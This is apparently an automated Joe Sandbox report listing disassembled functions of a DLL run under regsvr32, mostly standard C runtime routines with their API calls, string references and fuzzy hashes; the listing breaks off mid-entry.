0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C

Strings

0, xrefs: 000007FEF9D3C739
', xrefs: 000007FEF9D3C719
9, xrefs: 000007FEF9D3C98F

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: '$0$9
API String ID: 1967237116-269856862
Opcode ID: 83c439eea7fc9ce93bcb821b911d608e7d80de2d13083439c5735137d4fc31ad
Instruction ID: b3eda79bc04a60fb7ee4a4011f7c31915f3bf9e4e3688118cbdbb277fe6e384d
Opcode Fuzzy Hash: 83c439eea7fc9ce93bcb821b911d608e7d80de2d13083439c5735137d4fc31ad
Instruction Fuzzy Hash: 0D41B47260DAC187E7B58B19E8957AEB7E4F385791F100125EAC886B98DB7DE640CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35260 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_CreateFrameInfo.LIBCMTD ref: 000007FEF9D35342
_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D353DC
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D35433

Strings

csm, xrefs: 000007FEF9D353ED

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Frame$CreateDestroyedExceptionFindInfoObjectUnlink
String ID: csm
API String ID: 2005287440-1018135373
Opcode ID: 4c556ceed80f2aba1954f9041ed191ad0fbab56fa1f8ad9f2457e70616e7d401
Instruction ID: 0432dbe60f42fc154ce83aeddd16286c3d94edaaa77ff7db33c77853d76fe5a2
Opcode Fuzzy Hash: 4c556ceed80f2aba1954f9041ed191ad0fbab56fa1f8ad9f2457e70616e7d401
Instruction Fuzzy Hash: FB51A836608B8682DAA09B1AF49076E77E0F3C4B91F615125EBCD47BB5DF3AD444CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28040 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

__initmbctable.LIBCMT ref: 000007FEF9D28056
GetModuleFileNameA.KERNEL32 ref: 000007FEF9D28071

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdargv.c, xrefs: 000007FEF9D2813C
C:\Windows\System32\regsvr32.exe, xrefs: 000007FEF9D28068, 000007FEF9D28077, 000007FEF9D280A9

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FileModuleName__initmbctable
String ID: C:\Windows\System32\regsvr32.exe$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdargv.c
API String ID: 3548084100-1254873407
Opcode ID: b22e410beffd46978b7d2afc3cd069083579849eea9e12d44582c014dad21e95
Instruction ID: c1f8112261206beaa0fda4b6683aef0dc38e0cb6ee3d4e311a15053ab41967b3
Opcode Fuzzy Hash: b22e410beffd46978b7d2afc3cd069083579849eea9e12d44582c014dad21e95
Instruction Fuzzy Hash: 47411C21A19A8281EA90CB19EC8136E77A0F7857A5F614626E6EE43BF4DF3ED144C701

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D328E8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32A56

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32A07, 000007FEF9D32A41
_vsnprintf_s_l, xrefs: 000007FEF9D32A48
("Buffer too small", 0), xrefs: 000007FEF9D329F2, 000007FEF9D32A4F

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3717698799
Opcode ID: 902fc8e7192f88527d8aa4075598999d81e9371814558b5bb1293b80f5ddf804
Instruction ID: 7c05dd3e5b110925f13ad37327732dcd8002d47ee9d5ea83dce110c9ec813185
Opcode Fuzzy Hash: 902fc8e7192f88527d8aa4075598999d81e9371814558b5bb1293b80f5ddf804
Instruction Fuzzy Hash: B6412931E1C7868AEAB08B24E8447AE62E0F385365F604335D6ED427F5DB3EE444CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27816 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

_calloc_dbg.LIBCMTD ref: 000007FEF9D27858

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

GetFileType.KERNEL32 ref: 000007FEF9D27A24
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000007FEF9D27AA5

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c, xrefs: 000007FEF9D27841

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CountCriticalFileInitializeSectionSpinType_calloc_dbg_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c
API String ID: 2306298712-3864165772
Opcode ID: f14d95e79dbe0c44160fd2e577ceb585774a34057722467733e8b2231de90ff9
Instruction ID: 3bda70979e2781d9fddcfcf2e5c0164bb67a8e60ab66e06e656835f18ed7d390
Opcode Fuzzy Hash: f14d95e79dbe0c44160fd2e577ceb585774a34057722467733e8b2231de90ff9
Instruction Fuzzy Hash: 3A313D72A09BC585E7B08B19E84076E73E1F385764F618225CAED877E4DB3DE405CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37F0E Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3806E

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3801F, 000007FEF9D38059
bufferSize <= INT_MAX, xrefs: 000007FEF9D3800A, 000007FEF9D38067
_wcstombs_s_l, xrefs: 000007FEF9D38060

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c
API String ID: 2123368286-2562677240
Opcode ID: f1a9f826516545701b922f50b6ebdc9d8be9d112825cbb7a30042366d5f9c4a9
Instruction ID: 93e11cc603146a2a446790da906b27a7af07cbd58e629032b7549c60c7683809
Opcode Fuzzy Hash: f1a9f826516545701b922f50b6ebdc9d8be9d112825cbb7a30042366d5f9c4a9
Instruction Fuzzy Hash: 4A311632A0DB8685EAB09B15E8407AEB7E1F385390F204225D6DD03BE8DB7ED444CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40680 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D4071E

Part of subcall function 000007FEF9D3AFB0: _invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

Part of subcall function 000007FEF9D40A20: __doserrno.LIBCMTD ref: 000007FEF9D40A33

Strings

_fclose_nolock, xrefs: 000007FEF9D40710
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c, xrefs: 000007FEF9D406CF, 000007FEF9D40709
(str != NULL), xrefs: 000007FEF9D406BA, 000007FEF9D40717

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter$__doserrno
String ID: (str != NULL)$_fclose_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c
API String ID: 1181141450-2845860089
Opcode ID: 60dcfdadd0e03516a84dc335c67980ba4999d51805a5974115e67aa140ed36a2
Instruction ID: 33c12517d78d4ed4392c0426817be49b117e9f4526535de823d8000f08003729
Opcode Fuzzy Hash: 60dcfdadd0e03516a84dc335c67980ba4999d51805a5974115e67aa140ed36a2
Instruction Fuzzy Hash: 81315A36A28A4686E7909B18E88476E77E0F380794F205125F6CE47BF5CB7ED841CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3AB10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3ABCD

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isatty.c, xrefs: 000007FEF9D3AB7E, 000007FEF9D3ABB8
_isatty, xrefs: 000007FEF9D3ABBF
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3AB69, 000007FEF9D3ABC6

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_isatty$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isatty.c
API String ID: 2123368286-160817255
Opcode ID: eccc8fed36cae0d9a6e14cbb0507e08d02c226084f69b474f0b5454228c7b857
Instruction ID: 5484b95fc3e7d8404cd289b1f0f4537a60eed7c4b35d0a2d8431c0a05804e9c3
Opcode Fuzzy Hash: eccc8fed36cae0d9a6e14cbb0507e08d02c226084f69b474f0b5454228c7b857
Instruction Fuzzy Hash: F121AE71B2C6428AE7D89B24EC8476DB3E1F380356F609635E1DD476E4D77ED4408B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40580 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D4061E

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c, xrefs: 000007FEF9D405CF, 000007FEF9D40609
(stream != NULL), xrefs: 000007FEF9D405BA, 000007FEF9D40617
fclose, xrefs: 000007FEF9D40610

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (stream != NULL)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c$fclose
API String ID: 2123368286-3409824857
Opcode ID: d31558689191b30e1debc2aa339dabcf4ed505ad636b5f29a69950b4dd90694d
Instruction ID: f9aafbf46e1760e7e33942ab5f057e126490a1467b3f18266bcf817366ff1fd0
Opcode Fuzzy Hash: d31558689191b30e1debc2aa339dabcf4ed505ad636b5f29a69950b4dd90694d
Instruction Fuzzy Hash: 5B214C72A1D64286EB909F58E88476E77E0F380394F605525E6CE476E4CBBED444CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2C170 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D2C20A

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isctype.c, xrefs: 000007FEF9D2C1B3
(unsigned)(c + 1) <= 256, xrefs: 000007FEF9D2C19E

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID: (unsigned)(c + 1) <= 256$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isctype.c
API String ID: 1901436342-3621827421
Opcode ID: 291659c115524f578e2ce7e37289a3f2ddc7b5bd59cb83b4eaeda8d1fa0b4c89
Instruction ID: 30d3218aedea65180b246fff2bb8bf0e075bfccfde79c9cac609a79bfc2ef9ad
Opcode Fuzzy Hash: 291659c115524f578e2ce7e37289a3f2ddc7b5bd59cb83b4eaeda8d1fa0b4c89
Instruction Fuzzy Hash: 4D210132918A8186E790DB24E8817AEB7E0F7C4780F614022E7DD83AB9DB7DD954CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32C9F Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 48COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32D62

Strings

_set_error_mode, xrefs: 000007FEF9D32D54
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c, xrefs: 000007FEF9D32D13, 000007FEF9D32D4D
("Invalid error_mode", 0), xrefs: 000007FEF9D32CFE, 000007FEF9D32D5B

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid error_mode", 0)$_set_error_mode$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c
API String ID: 2123368286-2972513288
Opcode ID: 8fb5a3cdd681d6a82b02ff81c277c719a79eaaec91177dc4ca99e8a0364f32ec
Instruction ID: a668ed4e1bbba8445569e891f5cf80d88739aba3494b1a7bdc37a92eebe2cfe6
Opcode Fuzzy Hash: 8fb5a3cdd681d6a82b02ff81c277c719a79eaaec91177dc4ca99e8a0364f32ec
Instruction Fuzzy Hash: 9A211A31E1D242CAE7E08F28EC44B6E72E0F344395F605536E6CA866B4D77EE944CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32695 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3274D

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D326FE, 000007FEF9D32738
_vsnprintf_s_l, xrefs: 000007FEF9D3273F
string != NULL && sizeInBytes > 0, xrefs: 000007FEF9D326E9, 000007FEF9D32746

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$string != NULL && sizeInBytes > 0
API String ID: 2123368286-367560414
Opcode ID: 9835c0e10505228e0bf6b58a8474be5f834255bb2e0cd334fa5f5b7dd6645e21
Instruction ID: 95dcae893ef448fe982beb095dca5536e461671d142ad8532ffb40fd25d94385
Opcode Fuzzy Hash: 9835c0e10505228e0bf6b58a8474be5f834255bb2e0cd334fa5f5b7dd6645e21
Instruction Fuzzy Hash: 1D114931E0C64A8AF7E08B14EC457BE62E0F750385F608425D2DD46AF5DBBEE4888B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D375E9 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 40COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3769D

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3764B, 000007FEF9D37688
pwcs != NULL, xrefs: 000007FEF9D37636, 000007FEF9D37696
_wcstombs_l_helper, xrefs: 000007FEF9D3768F

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c$pwcs != NULL
API String ID: 2123368286-2992382544
Opcode ID: 9cdd31bc13f045a84d1723aba15172f6d66e597d1102c0836733c4c00faf9839
Instruction ID: 1601facfcd706bab2d32f933ec1205f4baa2dc81ccca363939aa7dccefded7e9
Opcode Fuzzy Hash: 9cdd31bc13f045a84d1723aba15172f6d66e597d1102c0836733c4c00faf9839
Instruction Fuzzy Hash: FD112831A08A86D6E7F08B24EC547BE62D1F384395FA0862581DD826E5DF7ED184CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3AFB0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fileno.c, xrefs: 000007FEF9D3AFF7, 000007FEF9D3B031
_fileno, xrefs: 000007FEF9D3B038
(stream != NULL), xrefs: 000007FEF9D3AFE2, 000007FEF9D3B03F

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (stream != NULL)$_fileno$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fileno.c
API String ID: 2123368286-3532421942
Opcode ID: c9b4c7eaa6f702e756935e157fc704da053bc53339d856ee334f13e3a5237ddc
Instruction ID: 5e243132be0629da1aa3e0b85d41bf950597728ff9ff9f12ab22c17114f4bf60
Opcode Fuzzy Hash: c9b4c7eaa6f702e756935e157fc704da053bc53339d856ee334f13e3a5237ddc
Instruction Fuzzy Hash: DB115A71A2D6468AEB949B54E948B6E73E0F340344F605225F6D943AA8C77ED509CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37E4E Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 38COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D37EF4

Strings

(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 000007FEF9D37E90, 000007FEF9D37EED
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D37EA5, 000007FEF9D37EDF
_wcstombs_s_l, xrefs: 000007FEF9D37EE6

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c
API String ID: 2123368286-152112980
Opcode ID: bee2d7726ac50f9e7da98411c921f1d389d1484d621cac995bcaec902168c7d6
Instruction ID: 316e0cb66aac120259ec5fe7cf49b7d80870e23a4d2a4d539908350f5dd74761
Opcode Fuzzy Hash: bee2d7726ac50f9e7da98411c921f1d389d1484d621cac995bcaec902168c7d6
Instruction Fuzzy Hash: C1112A31A0CA87C9F7A09B54EC047AE76E0F340345F704425D6CC466F4CBBEE8888B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D234D5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

_calloc_dbg.LIBCMTD ref: 000007FEF9D234F9

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

FlsSetValue.KERNEL32 ref: 000007FEF9D23516

Part of subcall function 000007FEF9D23E30: _unlock.LIBCMTD ref: 000007FEF9D23EC2
Part of subcall function 000007FEF9D23E30: _unlock.LIBCMTD ref: 000007FEF9D23F1C

GetCurrentThreadId.KERNEL32 ref: 000007FEF9D2352C

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dllcrt0.c, xrefs: 000007FEF9D234E2

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock$CurrentThreadValue_calloc_dbg_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dllcrt0.c
API String ID: 433497747-929597301
Opcode ID: e993b8295e4f15c9eb240b3e6c5194696fb031badc4e4f03d14c808df6e1b3aa
Instruction ID: 481e6957a9246cfaf4e6bd41be43a49f1ef1e62944320565ea2ccce3e108d99c
